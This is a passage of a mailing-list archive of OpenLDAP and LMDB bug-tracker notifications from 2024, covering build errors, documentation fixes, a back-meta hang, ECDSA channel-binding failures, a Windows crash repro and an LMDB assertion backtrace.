-fdata-sections -ffunction-sections -fstack-protector-strong -specs=/usr/lib/rpm/redhat/redhat-hardened-cc1 -flto=auto -Wp,-U_FORTIFY_SOURCE,-D_FORTIFY_SOURCE=3 -Wp,-D_GLIBCXX_ASSERTIONS -Wall -Werror=format-security -DLDAP_CONNECTIONLESS -I../../../include -I.. -I. -I../../../include -I./.. -I. -DSLAPI_LIBRARY -c plugin.c -fPIC -DPIC -o .libs/plugin.o plugin.c: In function 'slapi_int_read_config': plugin.c:697:69: error: passing argument 3 of 'plugin_pblock_new' from incompatible pointer type [-Wincompatible-pointer-types] 697 | pPlugin = plugin_pblock_new( iType, numPluginArgc, c->argv ); | ~^~~~~~ | | | char ** plugin.c:71:21: note: expected 'ConfigArgs *' {aka 'struct config_args_s *'} but argument is of type 'char **' 71 | ConfigArgs *c ) | ~~~~~~~~~~~~^ make[3]: *** [Makefile:387: plugin.lo] Error 1 -- You are receiving this mail because: You are on the CC list for the issue.

1 6

[Issue 10214] New: Reduce library dependencies
by openldap-its＠openldap.org 21 May '24

21 May '24

https://bugs.openldap.org/show_bug.cgi?id=10214 Issue ID: 10214 Summary: Reduce library dependencies Product: OpenLDAP Version: unspecified Hardware: All OS: Linux Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: slapd Assignee: bugs(a)openldap.org Reporter: hamano(a)osstech.co.jp Target Milestone: --- Currently, slapd links libsystemd to notify service state to systemd. However, libsystemd link several unnecessary libraries, which increases security risks. The systemd documentation provides a method to send state notifications to systemd using a simple protocol without the need to link against libsystemd. https://www.freedesktop.org/software/systemd/man/devel/sd_notify.html I propose removing libsystemd and its depended libraries, similar to the approach taken by OpenSSH. Applying this fix reduced the following ten dependencies in the RHEL 8 environment. - libsystemd.so.0 - libblkid.so.1 - libcap.so.2 - libgcc_s.so.1 - libgcrypt.so.20 - libgpg-error.so.0 - liblz4.so.1 - liblzma.so.5 - libmount.so.1 - librt.so.1 -- You are receiving this mail because: You are on the CC list for the issue.

1 4

[Issue 10179] New: back-asyncmeta(5) man page incorrectly mentions "rewrite"
by openldap-its＠openldap.org 21 May '24

21 May '24

https://bugs.openldap.org/show_bug.cgi?id=10179 Issue ID: 10179 Summary: back-asyncmeta(5) man page incorrectly mentions "rewrite" Product: OpenLDAP Version: 2.6.7 Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: documentation Assignee: bugs(a)openldap.org Reporter: nivanova(a)symas.com Target Milestone: --- Man page for back-asyncmeta mentions the rewrite options, yet asyncmeta does not support the rewrite engine at the moment. -- You are receiving this mail because: You are on the CC list for the issue.

1 4

[Issue 10164] New: back-meta hangs when used with dynlist overlay
by openldap-its＠openldap.org 21 May '24

21 May '24

https://bugs.openldap.org/show_bug.cgi?id=10164 Issue ID: 10164 Summary: back-meta hangs when used with dynlist overlay Product: OpenLDAP Version: 2.6.7 Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: backends Assignee: bugs(a)openldap.org Reporter: nivanova(a)symas.com Target Milestone: --- When back-meta is configured with the dynlist overlay, on a search request that triggers dynlist, it will hang. This happens because of a bug in back-meta that is only revealed when an overlay issues an internal operation while processing a result or an entry, as dynlist does, as apposed to issuing it when the client op is first received ( on the way "down" to the backend). The issue is reproduced by configuring dynlist over a back-meta database, and sending a subtree search request with the database suffix as dn. -- You are receiving this mail because: You are on the CC list for the issue.

1 5

[Issue 10216] New: Channel binding enforced on AD with AD cert using EDCSA-SHA384 fails
by openldap-its＠openldap.org 21 May '24

21 May '24

https://bugs.openldap.org/show_bug.cgi?id=10216 Issue ID: 10216 Summary: Channel binding enforced on AD with AD cert using EDCSA-SHA384 fails Product: OpenLDAP Version: 2.6.7 Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: libraries Assignee: bugs(a)openldap.org Reporter: simon.pichugin(a)gmail.com Target Milestone: --- Secure LDAP connections to the target Windows server 2019 DC began failing after the Windows Server DC certificate was updated to an Elliptic Curve Public Key (384 bits) with the sha384ECDSA signature algorithm and sha384 signature hash algorithm specified. The connections were previously successful when the Windows server DC certificate specified an RSA Public Key certificate with signature algorithm sha256RSA and signature hash algorithm sha256 specified. Once the Windows server domain controller certificate is upgraded to the ECC public key, subsequent secure ldap connection attempts fail. If channel binding is turned off on the Windows AD target server, secure ldap connections will succeed using starttls. If Windows server domain controller certificate is upgraded to ECC public key and ldap channel binding is enforced, subsequent secure ldap connection attempts fail with this error message: ldap_sasl_interactive_bind_s: Invalid credentials (49) additional info: 80090346: LdapErr: DSID-0C09070F, comment: AcceptSecurityContext error, data 80090346, v4563 Expected results: Kerberos SASL should work with STARTTLS even when AD certificate is ECC and SASL_CBINDING is set to "tls-endpoint" Actual results: Kerberos SASL only works with STARTTLS even when AD certificate is RSA and SASL_CBINDING is set to "tls-endpoint"; it fails when AD certificate is ECC Additional information: According to the OpenSSL maintainer, there might be a bug in the OpenLDAP code: it uses EVP_get_digestbynid() to find a digest algorithm based on the signature algorithm, but there might be no such mapping in EC compared to the RSA case. OpenLDAP needs to use OBJ_find_sigid_algs() to find the right algorithm. Possibly, this is the failing code: https://git.openldap.org/openldap/openldap/-/blob/master/libraries/libldap/… Instead of X509_get_signature_nid() OpenLDAP code probably should call something like OBJ_find_sigid_algs(X509_get_signature_nid(cert), &md_nid, &pk_nid). The former only supports mapping for a few known signature algorithms, but everything did work, most likely due to a fallback to sha256 in case the digest wasn't really found. Judging by https://github.com/openssl/openssl/issues/14278 and https://github.com/openssl/openssl/issues/14467, a better API is coming but not currently available (and as it was in the state for a few years, it probably won't be coming soon) -- You are receiving this mail because: You are on the CC list for the issue.

1 8

[Issue 10212] New: read-only tools may use wrong meta page
by openldap-its＠openldap.org 14 May '24

14 May '24

https://bugs.openldap.org/show_bug.cgi?id=10212 Issue ID: 10212 Summary: read-only tools may use wrong meta page Product: LMDB Version: unspecified Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: liblmdb Assignee: bugs(a)openldap.org Reporter: hyc(a)openldap.org Target Milestone: --- On a quiescent database that's only used for read-only txns, the txnid won't be initialized so it remains set to zero. Then only meta page zero will get used, even if page one is newer. Thus all information retrieved will be stale by one txn. -- You are receiving this mail because: You are on the CC list for the issue.

1 3

[Issue 9921] New: Tautology in clients/tools/common.c:print_vlv()
by openldap-its＠openldap.org 08 May '24

08 May '24

https://bugs.openldap.org/show_bug.cgi?id=9921 Issue ID: 9921 Summary: Tautology in clients/tools/common.c:print_vlv() Product: OpenLDAP Version: 2.6.3 Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: client tools Assignee: bugs(a)openldap.org Reporter: dpa-openldap(a)aegee.org Target Milestone: --- https://git.openldap.org/openldap/openldap/-/blob/master/clients/tools/comm… contains: tool_write_ldif( ldif ? LDIF_PUT_COMMENT : LDIF_PUT_VALUE, ldif ? "vlvResult" : "vlvResult", buf, rc ); The second parameter is always vlvResult, irrespective of the value of ldif. -- You are receiving this mail because: You are on the CC list for the issue.

1 7

[Issue 10215] New: [QUESTION] FIPS Validated password hashing
by openldap-its＠openldap.org 07 May '24

07 May '24

https://bugs.openldap.org/show_bug.cgi?id=10215 Issue ID: 10215 Summary: [QUESTION] FIPS Validated password hashing Product: OpenLDAP Version: 2.4.54 Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: libraries Assignee: bugs(a)openldap.org Reporter: 11tete11(a)gmail.com Target Milestone: --- Hi! we are in process of a certification, and we are using openldap of ubuntu pro fips 20.04, that its the 2.4.54 At some point the auditor ask us, how the passwords are stored into ldap, and we found this: https://github.com/openldap/openldap/tree/master/contrib/slapd-modules/pass… seems that that module do not use a FIPS validated library like "openssl" that comes with ubuntu fips. and make it's own implementation of the sha512. Is there any ldap module that uses the openssl library of the SO that in this case its the openssl 1.1.1f to hash its passwords?, could be this https://github.com/openldap/openldap/tree/master/contrib/slapd-modules/pass… maybe if i'm understanding right? thx! -- You are receiving this mail because: You are on the CC list for the issue.

1 2

[Issue 10198] New: Crash in mdb_strerr on Windows
by openldap-its＠openldap.org 07 May '24

07 May '24

https://bugs.openldap.org/show_bug.cgi?id=10198 Issue ID: 10198 Summary: Crash in mdb_strerr on Windows Product: LMDB Version: unspecified Hardware: All OS: Windows Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: liblmdb Assignee: bugs(a)openldap.org Reporter: b.koch(a)beckhoff.com Target Milestone: --- The call to FormatMessageA in mdb_strerr crashes on Windows 10 for error code 112 (disk full). Its "Arguments" parameter is an invalid pointer. The documentation says that the parameter should be ignored because of FORMAT_MESSAGE_IGNORE_INSERTS but my copy of Windows disagrees. Documentation for FormatMessageA: https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-form… The error is (with addresses replaced by <...>): Exception thrown at <RtlFormatMessageEx> (ntdll.dll) in ConsoleApplication1.exe: 0xC0000005: Access violation reading location <buf+8*1024>. Trivial fix: Change the last parameter to NULL (in this call: https://github.com/LMDB/lmdb/blob/8645e92b937794c06f0c66dfae64e425a085b6cd/…) Bug 8361 is raising some additional issues in this code and it implies that the va_list is somehow related to the padding hack (but I don't understand how that is, to be honest), so I'm not sure whether the trivial fix would be fine. Here is some code to reproduce the crash outside of liblmdb (tested with Visual Studio 2022, x86 and x64, C++ console project): #include <iostream> #include <windows.h> int main() { std::cout << "Hello World!\n"; char buf[1024]; FormatMessageA(FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, 112, 0, buf, sizeof(buf), (va_list*)buf + 1024); char* msg = buf; std::cout << msg; } -- You are receiving this mail because: You are on the CC list for the issue.

1 10

[Issue 10210] New: ldapurl manpage references options that no longer exist
by openldap-its＠openldap.org 30 Apr '24

30 Apr '24

https://bugs.openldap.org/show_bug.cgi?id=10210 Issue ID: 10210 Summary: ldapurl manpage references options that no longer exist Product: OpenLDAP Version: 2.6.7 Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: documentation Assignee: bugs(a)openldap.org Reporter: quanah(a)openldap.org Target Milestone: --- -h ldaphost Set the host. -p ldapport Set the TCP port. -- You are receiving this mail because: You are on the CC list for the issue.

1 2

[Issue 10195] New: permissive modify control without value
by openldap-its＠openldap.org 30 Apr '24

30 Apr '24

https://bugs.openldap.org/show_bug.cgi?id=10195 Issue ID: 10195 Summary: permissive modify control without value Product: OpenLDAP Version: 2.6.7 Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: slapd Assignee: bugs(a)openldap.org Reporter: lesignor(a)cirad.fr Target Milestone: --- Hello, A windows ldap client (dotnet) format the request with oid permissive modify control like this : 00d0 30 84 00 00 00 1e 04 17 ........0....... 00e0 31 2e 32 2e 38 34 30 2e 31 31 33 35 35 36 2e 31 1.2.840.113556.1 00f0 2e 34 2e 31 34 31 33 01 01 ff 04 00 .4.1413..... The last 2 bytes 04 00 seems to indicate no value (length of value = 0 ?). With openldap 2.4.x this request was accepted. With openldap 2.5.x or openldap 2.6.x, this request is rejected for invalid protocol with error message : permissiveModify control value not absent With ldapmodify from openldap, the same request is formatted without the last 2 bytes and is accepted. Could it be possible to accept request with control without value formatted with 04 00 to indicate no value ? It will help to migrate from openldap 2.4.x to 2.5.x or 2.6.x Thanks -- You are receiving this mail because: You are on the CC list for the issue.

1 6

[Issue 8613] slapo-memberOf documentation update (Unsafe to use with replication)
by openldap-its＠openldap.org 28 Apr '24

28 Apr '24

https://bugs.openldap.org/show_bug.cgi?id=8613 Howard Chu <hyc(a)openldap.org> changed: What |Removed |Added ---------------------------------------------------------------------------- See Also| |https://bugs.openldap.org/s | |how_bug.cgi?id=10167 -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 7249] slapd segfault with memberof overlay on frontend db
by openldap-its＠openldap.org 16 Apr '24

16 Apr '24

https://bugs.openldap.org/show_bug.cgi?id=7249 Quanah Gibson-Mount <quanah(a)openldap.org> changed: What |Removed |Added ---------------------------------------------------------------------------- Target Milestone|2.6.8 |2.6.9 -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 10202] New: slapd fails to start if compiled with --enable-overlays=yes
by openldap-its＠openldap.org 16 Apr '24

16 Apr '24

https://bugs.openldap.org/show_bug.cgi?id=10202 Issue ID: 10202 Summary: slapd fails to start if compiled with --enable-overlays=yes Product: OpenLDAP Version: 2.6.7 Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: overlays Assignee: bugs(a)openldap.org Reporter: nivanova(a)symas.com Target Milestone: --- Statically compiling all overlays produces the following error at slapd startup: 66192034.2adbbeb4 0x73de9d4547c0 register_at: AttributeType "( 1.2.840.113556.1.2.102 NAME 'memberOf' DESC 'Group that the entry belongs to' SYNTAX '1.3.6.1.4.1.1466.115.121.1.12' EQUALITY distinguishedNameMatch USAGE dSAOperation NO-USER-MODIFICATION X-ORIGIN 'iPlanet Delegated Administrator' )": Duplicate attributeType, 1.2.840.113556.1.2.102 66192034.2adc2a97 0x73de9d4547c0 overlay_register("nestgroup"): name already in use. 66192034.2adc44ed 0x73de9d4547c0 nestgroup overlay setup failed, err -1 66192034.2adc5016 0x73de9d4547c0 slapd: overlay_init failed 66192034.2adc5e14 0x73de9d4547c0 slapd destroy: freeing system resources. 66192034.2adefbff 0x73de9d4547c0 slapd stopped. -- You are receiving this mail because: You are on the CC list for the issue.

1 3

[Issue 10180] New: mdb.c:2185: Assertion 'rc == 0' failed in mdb_page_dirty()
by openldap-its＠openldap.org 07 Apr '24

07 Apr '24

https://bugs.openldap.org/show_bug.cgi?id=10180 Issue ID: 10180 Summary: mdb.c:2185: Assertion 'rc == 0' failed in mdb_page_dirty() Product: LMDB Version: unspecified Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: liblmdb Assignee: bugs(a)openldap.org Reporter: dominik(a)greysector.net Target Milestone: --- I'm experiencing a SIGABRT-induced crash in nheko, which uses lmdb for its database (~/.local/share/nheko/nheko/#hash#/{data,lock}.mdb). The assertion triggering the SIGABRT seems to be happening here: https://git.openldap.org/openldap/openldap/-/blob/master/libraries/liblmdb/… The crash happens on every nheko startup since yesterday, so I assume something added to the database is triggering it. Full backtrace from gdb: ... (gdb) run Starting program: /usr/bin/nheko [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib64/libthread_db.so.1". [New Thread 0x7ffff04006c0 (LWP 8281)] [New Thread 0x7fffefa006c0 (LWP 8282)] [New Thread 0x7fffee2006c0 (LWP 8283)] [New Thread 0x7fffed8006c0 (LWP 8284)] [New Thread 0x7fffece006c0 (LWP 8285)] [New Thread 0x7fffe7e006c0 (LWP 8286)] [Thread 0x7fffe7e006c0 (LWP 8286) exited] [New Thread 0x7fffe7e006c0 (LWP 8287)] [New Thread 0x7fffe74006c0 (LWP 8288)] [Thread 0x7fffe7e006c0 (LWP 8287) exited] [Thread 0x7fffe74006c0 (LWP 8288) exited] [New Thread 0x7fffe74006c0 (LWP 8289)] [New Thread 0x7fffe7e006c0 (LWP 8290)] [Thread 0x7fffe74006c0 (LWP 8289) exited] [Thread 0x7fffe7e006c0 (LWP 8290) exited] [New Thread 0x7fffe7e006c0 (LWP 8292)] [New Thread 0x7fffe74006c0 (LWP 8293)] [New Thread 0x7fffe6a006c0 (LWP 8294)] [New Thread 0x7fffe60006c0 (LWP 8295)] [New Thread 0x7fffe56006c0 (LWP 8296)] [New Thread 0x7fffe4c006c0 (LWP 8297)] [New Thread 0x7fffdfe006c0 (LWP 8298)] [New Thread 0x7fffdf4006c0 (LWP 8299)] [New Thread 0x7fffd7e006c0 (LWP 8300)] [New Thread 0x7fffd74006c0 (LWP 8301)] [New Thread 0x7fffd6a006c0 (LWP 8302)] [New Thread 0x7fffd60006c0 (LWP 8303)] [Thread 0x7fffd60006c0 (LWP 8303) exited] [Thread 0x7fffd6a006c0 (LWP 8302) exited] [New Thread 0x7fffd6a006c0 (LWP 8304)] [2024-02-16 11:52:33.040] [ui] [info] Restoring window size 1424x885 [2024-02-16 11:52:33.051] [ui] [info] WebRTC: initialised GStreamer 1.22.9 [New Thread 0x7fffd60006c0 (LWP 8305)] [New Thread 0x7fffd52006c0 (LWP 8306)] [New Thread 0x7fffcfe006c0 (LWP 8307)] [New Thread 0x7fffcf4006c0 (LWP 8308)] [New Thread 0x7fffcea006c0 (LWP 8309)] [Thread 0x7fffcea006c0 (LWP 8309) exited] [New Thread 0x7fffcea006c0 (LWP 8310)] [Thread 0x7fffcea006c0 (LWP 8310) exited] [2024-02-16 11:52:33.342] [ui] [info] Loaded jdenticon plugin. [New Thread 0x7fffcea006c0 (LWP 8311)] [New Thread 0x7fffce0006c0 (LWP 8312)] [Thread 0x7fffce0006c0 (LWP 8312) exited] [Thread 0x7fffcea006c0 (LWP 8311) exited] [2024-02-16 11:52:33.557] [ui] [info] starting nheko 0.11.3 [New Thread 0x7fffcea006c0 (LWP 8313)] [2024-02-16 11:52:33.558] [ui] [info] User already signed in, showing chat page [2024-02-16 11:52:33.559] [ui] [info] Switching to chat page [New Thread 0x7fffce0006c0 (LWP 8314)] [2024-02-16 11:52:33.604] [qml] [warning] qrc:/qml/TopBar.qml:234:13: QML AbstractButton: Binding loop detected for property "implicitWidth" (qrc:/qml/TopBar.qml:234, ) [2024-02-16 11:52:33.604] [qml] [warning] qrc:/qml/TopBar.qml:241:30: QML EncryptionIndicator: Binding loop detected for property "sourceSize.height" (qrc:/qml/TopBar.qml:241, ) [2024-02-16 11:52:33.622] [ui] [info] Unity service available: true [New Thread 0x7fffcca006c0 (LWP 8315)] [New Thread 0x7fffbfe006c0 (LWP 8316)] [New Thread 0x7fffbf4006c0 (LWP 8317)] [2024-02-16 11:52:33.629] [qml] [warning] qrc:/qml/ChatPage.qml:105:17: QML RoomList: Binding loop detected for property "implicitWidth" (qrc:/qml/ChatPage.qml:105, ) [2024-02-16 11:52:33.629] [qml] [warning] qrc:/qml/ChatPage.qml:105:17: QML RoomList: Binding loop detected for property "implicitWidth" (qrc:/qml/ChatPage.qml:105, ) [New Thread 0x7fffbd2006c0 (LWP 8318)] [2024-02-16 11:52:33.719] [db] [info] database ready [2024-02-16 11:52:33.720] [db] [info] restoring state from cache [2024-02-16 11:52:33.729] [db] [info] Restored 150 rooms from cache [2024-02-16 11:52:33.770] [db] [info] Invalidating self verification status [New Thread 0x7fffb7e006c0 (LWP 8319)] [2024-02-16 11:52:33.775] [crypto] [info] ed25519 : <redacted> [2024-02-16 11:52:33.775] [crypto] [info] curve25519: <redacted> mdb.c:2185: Assertion 'rc == 0' failed in mdb_page_dirty() [New Thread 0x7fffb74006c0 (LWP 8320)] Thread 1 "nheko" received signal SIGABRT, Aborted. 0x00007ffff4eae834 in __pthread_kill_implementation () from /lib64/libc.so.6 (gdb) where #0 0x00007ffff4eae834 in __pthread_kill_implementation () from /lib64/libc.so.6 #1 0x00007ffff4e5c8ee in raise () from /lib64/libc.so.6 #2 0x00007ffff4e448ff in abort () from /lib64/libc.so.6 #3 0x00007ffff780f56b in mdb_assert_fail.constprop.0 (env=0x5555572b3940, expr_txt=<optimized out>, func=<optimized out>, line=<optimized out>, file=0x7ffff781c9d0 "mdb.c") at /usr/src/debug/lmdb-0.9.32-1.fc39.x86_64/libraries/liblmdb/mdb.c:1588 #4 0x00007ffff780da59 in mdb_page_dirty (txn=<optimized out>, mp=<optimized out>) at /usr/src/debug/lmdb-0.9.32-1.fc39.x86_64/libraries/liblmdb/mdb.c:2172 #5 mdb_page_dirty (txn=0x555557a50220, mp=<optimized out>) at /usr/src/debug/lmdb-0.9.32-1.fc39.x86_64/libraries/liblmdb/mdb.c:2172 #6 0x00007ffff781be5e in mdb_page_alloc.isra.0 (num=1, mp=0x7fffffffb768, mc=<optimized out>) at /usr/src/debug/lmdb-0.9.32-1.fc39.x86_64/libraries/liblmdb/mdb.c:2366 #7 0x00007ffff7812e52 in mdb_page_touch (mc=mc@entry=0x7fffffffbcb0) at /usr/src/debug/lmdb-0.9.32-1.fc39.x86_64/libraries/liblmdb/mdb.c:2486 #8 0x00007ffff7814ac7 in mdb_cursor_touch (mc=mc@entry=0x7fffffffbcb0) at /usr/src/debug/lmdb-0.9.32-1.fc39.x86_64/libraries/liblmdb/mdb.c:6602 #9 0x00007ffff7817879 in _mdb_cursor_put (mc=mc@entry=0x7fffffffbcb0, key=key@entry=0x7fffffffc080, data=data@entry=0x7fffffffc090, flags=<optimized out>, flags@entry=0) at /usr/src/debug/lmdb-0.9.32-1.fc39.x86_64/libraries/liblmdb/mdb.c:6736 #10 0x00007ffff78188ee in mdb_put (txn=0x555557a50220, dbi=17, key=0x7fffffffc080, data=0x7fffffffc090, flags=0) at /usr/src/debug/lmdb-0.9.32-1.fc39.x86_64/libraries/liblmdb/mdb.c:9150 #11 0x00005555559f41c2 in lmdb::dbi_put (flags=0, data=0x7fffffffc090, key=0x7fffffffc080, dbi=<optimized out>, txn=<optimized out>) at /usr/include/lmdb++.h:787 #12 lmdb::dbi::put(MDB_txn*, std::basic_string_view<char, std::char_traits<char> >, std::basic_string_view<char, std::char_traits<char> >, unsigned int) [clone .constprop.0] [clone .isra.0] (txn=<optimized out>, key=..., data=..., flags=0, this=<optimized out>) at /usr/include/lmdb++.h:1413 #13 0x00005555559521e5 in Cache::markUserKeysOutOfDate (this=this@entry=0x555557264f40, txn=..., db=..., user_ids=std::vector of length 1, capacity 1 = {...}, sync_token="s117629150_1_50402_53153589_3038507_9889_1030948_33315610_0_2131") at /usr/include/lmdb++.h:1187 #14 0x00005555559524d5 in Cache::markUserKeysOutOfDate (this=0x555557264f40, user_ids=std::vector of length 1, capacity 1 = {...}) at /usr/src/debug/nheko-0.11.3-5.fc39.x86_64/src/Cache.cpp:4580 #15 0x00005555559333ee in operator() (__closure=<optimized out>) at /usr/src/debug/nheko-0.11.3-5.fc39.x86_64/src/encryption/SelfVerificationStatus.cpp:32 #16 QtPrivate::FunctorCall<QtPrivate::IndexesList<>, QtPrivate::List<>, void, SelfVerificationStatus::SelfVerificationStatus(QObject*)::<lambda()> >::call (arg=<optimized out>, f=...) at /usr/include/qt5/QtCore/qobjectdefs_impl.h:146 #17 QtPrivate::Functor<SelfVerificationStatus::SelfVerificationStatus(QObject*)::<lambda()>, 0>::call<QtPrivate::List<>, void> (arg=<optimized out>, f=...) at /usr/include/qt5/QtCore/qobjectdefs_impl.h:256 #18 QtPrivate::QFunctorSlotObject<SelfVerificationStatus::SelfVerificationStatus(QObject*)::<lambda()>, 0, QtPrivate::List<>, void>::impl(int, QtPrivate::QSlotObjectBase *, QObject *, void **, bool *) (which=<optimized out>, this_=<optimized out>, r=<optimized out>, a=<optimized out>, ret=<optimized out>) at /usr/include/qt5/QtCore/qobjectdefs_impl.h:443 #19 0x00007ffff58e9151 in QtPrivate::QSlotObjectBase::call (a=0x7fffffffc970, r=<optimized out>, this=0x5555567a6ff0) at ../../include/QtCore/../../src/corelib/kernel/qobjectdefs_impl.h:398 #20 doActivate<false> (sender=0x555556030bc0, signal_index=5, argv=0x7fffffffc970) at kernel/qobject.cpp:3925 #21 0x00007ffff58e4077 in QMetaObject::activate (sender=sender@entry=0x555556030bc0, m=<optimized out>, local_signal_index=local_signal_index@entry=2, argv=argv@entry=0x0) at kernel/qobject.cpp:3985 #22 0x0000555555977046 in ChatPage::contentLoaded (this=0x555556030bc0) at /usr/src/debug/nheko-0.11.3-5.fc39.x86_64/redhat-linux-build/nheko_autogen/UVLADIE3JM/moc_ChatPage.cpp:820 #23 ChatPage::loadStateFromCache (this=0x555556030bc0) at /usr/src/debug/nheko-0.11.3-5.fc39.x86_64/src/ChatPage.cpp:600 #24 0x0000555555977919 in ChatPage::bootstrap(QString, QString, QString)::{lambda()#1}::operator()() const [clone .lto_priv.0] () at /usr/src/debug/nheko-0.11.3-5.fc39.x86_64/src/ChatPage.cpp:497 #25 0x00007ffff58e9151 in QtPrivate::QSlotObjectBase::call (a=0x7fffffffcf00, r=<optimized out>, this=0x5555572b4c50) at ../../include/QtCore/../../src/corelib/kernel/qobjectdefs_impl.h:398 #26 doActivate<false> (sender=0x555557264f40, signal_index=10, argv=0x7fffffffcf00) at kernel/qobject.cpp:3925 #27 0x00007ffff58e4077 in QMetaObject::activate (sender=sender@entry=0x555557264f40, m=<optimized out>, local_signal_index=local_signal_index@entry=7, argv=argv@entry=0x0) at kernel/qobject.cpp:3985 #28 0x000055555593873e in Cache::databaseReady (this=0x555557264f40) at /usr/src/debug/nheko-0.11.3-5.fc39.x86_64/redhat-linux-build/nheko_autogen/UVLADIE3JM/moc_Cache_p.cpp:275 #29 Cache::loadSecretsFromStore(std::vector<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, bool>, std::allocator<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, bool> > >, std::function<void (std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, bool, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&)>, bool) (this=0x555557264f40, toLoad=std::vector of length 0, capacity 0, callback=..., databaseReadyOnFinished=true) at /usr/src/debug/nheko-0.11.3-5.fc39.x86_64/src/Cache.cpp:393 #30 0x000055555596e7f1 in operator() (__closure=<optimized out>) at /usr/src/debug/nheko-0.11.3-5.fc39.x86_64/src/Cache.cpp:457 #31 QtPrivate::FunctorCall<QtPrivate::IndexesList<>, QtPrivate::List<>, void, Cache::loadSecretsFromStore(std::vector<std::pair<std::__cxx11::basic_string<char>, bool> >, std::function<void(const std::__cxx11::basic_string<char>&, bool, const std::__cxx11::basic_string<char>&)>, bool)::<lambda(QKeychain::Job*)> mutable::<lambda()> >::call (arg=<optimized out>, f=...) at /usr/include/qt5/QtCore/qobjectdefs_impl.h:146 #32 QtPrivate::Functor<Cache::loadSecretsFromStore(std::vector<std::pair<std::__cxx11::basic_string<char>, bool> >, std::function<void(const std::__cxx11::basic_string<char>&, bool, const std::__cxx11::basic_string<char>&)>, bool)::<lambda(QKeychain::Job*)> mutable::<lambda()>, 0>::call<QtPrivate::List<>, void> (arg=<optimized out>, f=...) at /usr/include/qt5/QtCore/qobjectdefs_impl.h:256 #33 QtPrivate::QFunctorSlotObject<Cache::loadSecretsFromStore(std::vector<std::pair<std::__cxx11::basic_string<char>, bool> >, std::function<void(const std::__cxx11::basic_string<char>&, bool, const std::__cxx11::basic_string<char>&)>, bool)::<lambda(QKeychain::Job*)> mutable::<lambda()>, 0, QtPrivate::List<>, void>::impl(int, QtPrivate::QSlotObjectBase *, QObject *, void **, bool *) (which=<optimized out>, this_=<optimized out>, r=<optimized out>, a=<optimized out>, ret=<optimized out>) at /usr/include/qt5/QtCore/qobjectdefs_impl.h:443 #34 0x00007ffff58df9fb in QObject::event (this=0x555557264f40, e=0x7fffe8008f30) at kernel/qobject.cpp:1347 #35 0x00007ffff65aeb95 in QApplicationPrivate::notify_helper (this=<optimized out>, receiver=0x555557264f40, e=0x7fffe8008f30) at kernel/qapplication.cpp:3640 #36 0x00007ffff58b4e78 in QCoreApplication::notifyInternal2 (receiver=0x555557264f40, event=0x7fffe8008f30) at kernel/qcoreapplication.cpp:1064 #37 0x00007ffff58b5092 in QCoreApplication::sendEvent (receiver=<optimized out>, event=<optimized out>) at kernel/qcoreapplication.cpp:1462 #38 0x00007ffff58b8325 in QCoreApplicationPrivate::sendPostedEvents (receiver=0x0, event_type=0, data=0x555555d6ef30) at kernel/qcoreapplication.cpp:1821 #39 0x00007ffff58b85dd in QCoreApplication::sendPostedEvents (receiver=<optimized out>, event_type=<optimized out>) at kernel/qcoreapplication.cpp:1680 #40 0x00007ffff59078cf in postEventSourceDispatch (s=0x555556019530) at kernel/qeventdispatcher_glib.cpp:277 #41 0x00007ffff5511e5c in g_main_dispatch (context=0x7fffe8000ec0) at ../glib/gmain.c:3476 #42 g_main_context_dispatch_unlocked (context=0x7fffe8000ec0) at ../glib/gmain.c:4284 #43 0x00007ffff556cf18 in g_main_context_iterate_unlocked.isra.0 (context=context@entry=0x7fffe8000ec0, block=block@entry=1, dispatch=dispatch@entry=1, self=<optimized out>) at ../glib/gmain.c:4349 #44 0x00007ffff550fad3 in g_main_context_iteration (context=0x7fffe8000ec0, may_block=1) at ../glib/gmain.c:4414 #45 0x00007ffff59073b9 in QEventDispatcherGlib::processEvents (this=0x555555f57ae0, flags=...) at kernel/qeventdispatcher_glib.cpp:423 #46 0x00007ffff58b383b in QEventLoop::exec (this=this@entry=0x7fffffffd640, flags=..., flags@entry=...) at ../../include/QtCore/../../src/corelib/global/qflags.h:69 #47 0x00007ffff58bbacb in QCoreApplication::exec () at ../../include/QtCore/../../src/corelib/global/qflags.h:121 #48 0x00007ffff5d60ead in QGuiApplication::exec () at kernel/qguiapplication.cpp:1863 #49 0x00007ffff65aeb09 in QApplication::exec () at kernel/qapplication.cpp:2832 #50 0x000055555570d10d in main (argc=<optimized out>, argv=<optimized out>) at /usr/src/debug/nheko-0.11.3-5.fc39.x86_64/src/main.cpp:405 (gdb) Looks like this was reported to nheko already, but they don't know what's causing it: https://github.com/Nheko-Reborn/nheko/issues/1303 . -- You are receiving this mail because: You are on the CC list for the issue.

1 6

[Issue 10201] New: Update autotools to 2.71
by openldap-its＠openldap.org 06 Apr '24

06 Apr '24

